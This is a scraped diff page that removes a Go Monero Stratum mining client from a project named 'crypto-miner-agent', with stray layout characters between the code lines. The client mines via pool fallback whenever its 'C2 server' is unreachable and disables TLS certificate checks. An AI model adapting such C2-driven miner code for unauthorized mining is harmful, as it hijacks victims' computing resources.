out := make([]byte, 32)
|
|
||||||
e.vm.CalculateHash(work, out)
|
|
||||||
return hex.EncodeToString(out), hex.EncodeToString(work), nil
|
|
||||||
}
|
|
||||||
@@ -1,329 +0,0 @@
|
|||||||
package miner
|
|
||||||
|
|
||||||
// StratumClient provides a minimal Monero Stratum client that the agent falls
|
|
||||||
// back to when the C2 server is unreachable. It feeds jobs directly into the
|
|
||||||
// existing miner.Pool so hashing never stops, and submits found shares back to
|
|
||||||
// the pool over Stratum so they are not lost.
|
|
||||||
//
|
|
||||||
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
|
|
||||||
// Reference: https://p2pool.io/docs/stratum.html
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"crypto/tls"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"net"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
|
||||||
"crypto-miner-agent/job"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ─── Wire types ──────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type stratumMsg struct {
|
|
||||||
ID interface{} `json:"id"`
|
|
||||||
JSONRPC string `json:"jsonrpc,omitempty"`
|
|
||||||
Method string `json:"method,omitempty"`
|
|
||||||
Params json.RawMessage `json:"params,omitempty"`
|
|
||||||
Result json.RawMessage `json:"result,omitempty"`
|
|
||||||
Error interface{} `json:"error,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type loginResult struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
Job *stratumJob `json:"job"`
|
|
||||||
Status string `json:"status"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type stratumJob struct {
|
|
||||||
Blob string `json:"blob"`
|
|
||||||
JobID string `json:"job_id"`
|
|
||||||
Target string `json:"target"`
|
|
||||||
SeedHash string `json:"seed_hash"`
|
|
||||||
Height int64 `json:"height"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type submitParams struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
JobID string `json:"job_id"`
|
|
||||||
Nonce string `json:"nonce"`
|
|
||||||
Hash string `json:"result"` // field name "result" in Stratum protocol
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── Pool endpoint list ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type stratumEndpoint struct {
|
|
||||||
Host string
|
|
||||||
Port int
|
|
||||||
TLS bool
|
|
||||||
Pass string
|
|
||||||
}
|
|
||||||
|
|
||||||
func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
|
|
||||||
eps := []stratumEndpoint{{
|
|
||||||
Host: cfg.PoolHost,
|
|
||||||
Port: cfg.PoolPort,
|
|
||||||
TLS: cfg.PoolTLS,
|
|
||||||
Pass: cfg.PoolPass,
|
|
||||||
}}
|
|
||||||
for _, bp := range cfg.BackupPools {
|
|
||||||
if bp.Host != "" && bp.Port > 0 {
|
|
||||||
eps = append(eps, stratumEndpoint{
|
|
||||||
Host: bp.Host,
|
|
||||||
Port: bp.Port,
|
|
||||||
TLS: bp.TLS,
|
|
||||||
Pass: bp.Pass,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return eps
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── StratumClient ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
// StratumClient mines via a direct Stratum connection. It is started when the
|
|
||||||
// C2 server is unreachable and stopped as soon as C2 comes back.
|
|
||||||
type StratumClient struct {
|
|
||||||
pool *Pool
|
|
||||||
cfg config.RuntimeConfig
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
|
|
||||||
return &StratumClient{pool: pool, cfg: cfg}
|
|
||||||
}
|
|
||||||
|
|
||||||
// RunFallback cycles through all configured pools, trying each in turn, until
|
|
||||||
// stopCh is closed. If a pool does not deliver a mining job within 5 seconds
|
|
||||||
// of a successful login the connection is dropped and the next pool is tried.
|
|
||||||
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
|
|
||||||
if s.cfg.PoolHost == "" {
|
|
||||||
log.Printf("[stratum] no pool configured — fallback unavailable")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
endpoints := buildStratumEndpoints(s.cfg)
|
|
||||||
idx := 0
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
ep := endpoints[idx%len(endpoints)]
|
|
||||||
log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
|
|
||||||
if err := s.runPool(ep, stopCh); err != nil {
|
|
||||||
log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
|
|
||||||
}
|
|
||||||
idx++
|
|
||||||
// Short pause between pool attempts so we don't hammer them.
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(3 * time.Second):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// runPool manages one Stratum connection until it fails or stopCh is closed.
|
|
||||||
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
|
|
||||||
addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
|
|
||||||
var conn net.Conn
|
|
||||||
var err error
|
|
||||||
if ep.TLS {
|
|
||||||
conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
|
|
||||||
} else {
|
|
||||||
conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// Set up a reader (Stratum is newline-delimited JSON).
|
|
||||||
reader := bufio.NewReader(conn)
|
|
||||||
msgID := 1
|
|
||||||
|
|
||||||
// ── Login ────────────────────────────────────────────────────────────────
|
|
||||||
wallet := s.cfg.Wallet
|
|
||||||
pass := ep.Pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
loginReq, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "login",
|
|
||||||
Params: mustMarshal(map[string]interface{}{
|
|
||||||
"login": wallet,
|
|
||||||
"pass": pass,
|
|
||||||
"rigid": s.cfg.WorkerName,
|
|
||||||
"agent": "AetherForge/" + config.Version,
|
|
||||||
}),
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
|
|
||||||
return fmt.Errorf("login send: %w", err)
|
|
||||||
}
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
|
|
||||||
loginLine, err := reader.ReadString('\n')
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("login read: %w", err)
|
|
||||||
}
|
|
||||||
_ = conn.SetDeadline(time.Time{}) // clear deadline
|
|
||||||
|
|
||||||
var loginResp stratumMsg
|
|
||||||
if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
|
|
||||||
return fmt.Errorf("login parse: %w", err)
|
|
||||||
}
|
|
||||||
if loginResp.Error != nil {
|
|
||||||
return fmt.Errorf("login error: %v", loginResp.Error)
|
|
||||||
}
|
|
||||||
var lr loginResult
|
|
||||||
if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
|
|
||||||
return fmt.Errorf("login result parse: %w", err)
|
|
||||||
}
|
|
||||||
sessionID := lr.ID
|
|
||||||
log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
|
|
||||||
|
|
||||||
// Feed the initial job from the login response.
|
|
||||||
gotJob := lr.Job != nil
|
|
||||||
if lr.Job != nil {
|
|
||||||
s.setJob(lr.Job)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Share submission channel ──────────────────────────────────────────────
|
|
||||||
// The pool's share handler sends shares here; this goroutine drains them
|
|
||||||
// and writes submit requests to the Stratum connection.
|
|
||||||
shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
|
|
||||||
s.pool.SetShareHandler(func(jobID, nonce, hash string) {
|
|
||||||
select {
|
|
||||||
case shareCh <- [3]string{jobID, nonce, hash}:
|
|
||||||
default:
|
|
||||||
log.Printf("[stratum] share channel full — dropping share")
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
// innerDone is closed when runPool returns for any reason (connection error
|
|
||||||
// or stopCh). It signals the submit goroutine to exit even when stopCh is
|
|
||||||
// still open, preventing a hang until the next share arrives.
|
|
||||||
innerDone := make(chan struct{})
|
|
||||||
submitDone := make(chan struct{})
|
|
||||||
go func() {
|
|
||||||
defer close(submitDone)
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
case <-innerDone:
|
|
||||||
return
|
|
||||||
case share, ok := <-shareCh:
|
|
||||||
if !ok {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
params, _ := json.Marshal(submitParams{
|
|
||||||
ID: sessionID,
|
|
||||||
JobID: share[0],
|
|
||||||
Nonce: share[1],
|
|
||||||
Hash: share[2],
|
|
||||||
})
|
|
||||||
req, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "submit",
|
|
||||||
Params: params,
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
|
|
||||||
log.Printf("[stratum] submit write error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
// Signal the submit goroutine and wait for it when runPool returns.
|
|
||||||
defer func() {
|
|
||||||
close(innerDone)
|
|
||||||
<-submitDone
|
|
||||||
}()
|
|
||||||
|
|
||||||
// Close the TCP connection as soon as stopCh fires so that the blocking
|
|
||||||
// reader.ReadString call (120 s deadline) unblocks immediately rather than
|
|
||||||
// making callers wait up to two minutes for the fallback to stop.
|
|
||||||
go func() {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
_ = conn.Close()
|
|
||||||
case <-innerDone:
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// ── Job receive loop ──────────────────────────────────────────────────────
|
|
||||||
// If the login response contained no job, give the pool 60 seconds to push
|
|
||||||
// one before we give up and rotate to the next endpoint.
|
|
||||||
var jobDeadline <-chan time.Time
|
|
||||||
if !gotJob {
|
|
||||||
jobDeadline = time.After(60 * time.Second)
|
|
||||||
}
|
|
||||||
|
|
||||||
keepalive := time.NewTicker(60 * time.Second)
|
|
||||||
defer keepalive.Stop()
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return nil
|
|
||||||
case <-jobDeadline:
|
|
||||||
return fmt.Errorf("no job received within 60s — rotating to next pool")
|
|
||||||
case <-keepalive.C:
|
|
||||||
req, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "keepalived",
|
|
||||||
Params: mustMarshal(map[string]string{"id": sessionID}),
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
_, _ = fmt.Fprintf(conn, "%s\n", req)
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
|
|
||||||
line, err := reader.ReadString('\n')
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("read: %w", err)
|
|
||||||
}
|
|
||||||
var msg stratumMsg
|
|
||||||
if err := json.Unmarshal([]byte(line), &msg); err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if msg.Method == "job" {
|
|
||||||
var sj stratumJob
|
|
||||||
if err := json.Unmarshal(msg.Params, &sj); err == nil {
|
|
||||||
s.setJob(&sj)
|
|
||||||
jobDeadline = nil // job received — cancel the 60s rotation timer
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// setJob converts a Stratum job into the agent's internal job.Job format and
|
|
||||||
// feeds it into the miner Pool.
|
|
||||||
func (s *StratumClient) setJob(sj *stratumJob) {
|
|
||||||
if sj == nil || sj.Blob == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
j := &job.Job{
|
|
||||||
ID: sj.JobID,
|
|
||||||
Blob: sj.Blob,
|
|
||||||
Target: sj.Target,
|
|
||||||
SeedHash: sj.SeedHash,
|
|
||||||
}
|
|
||||||
s.pool.SetJob(j)
|
|
||||||
log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
|
|
||||||
}
|
|
||||||
|
|
||||||
func mustMarshal(v interface{}) json.RawMessage {
|
|
||||||
b, _ := json.Marshal(v)
|
|
||||||
return b
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user